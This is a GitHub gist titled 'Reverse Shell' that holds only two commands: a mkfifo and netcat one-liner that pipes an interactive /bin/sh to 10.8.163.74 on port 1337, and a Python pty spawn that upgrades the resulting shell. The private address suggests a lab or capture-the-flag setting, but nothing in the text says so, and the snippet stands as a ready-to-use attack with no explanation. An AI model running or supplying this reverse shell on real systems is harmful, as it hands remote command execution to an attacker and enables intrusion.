Skip to content

Instantly share code, notes, and snippets.

@afiqiqmal
Last active March 22, 2021 14:19
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save afiqiqmal/78b0d7dea5bdd92f0a2b594a66526ac5 to your computer and use it in GitHub Desktop.
Save afiqiqmal/78b0d7dea5bdd92f0a2b594a66526ac5 to your computer and use it in GitHub Desktop.
Reverse Shell
rm /tmp/f ; mkfifo /tmp/f ; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.8.163.74 1337 >/tmp/f
python -c 'import pty; pty.spawn("/bin/bash")'
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment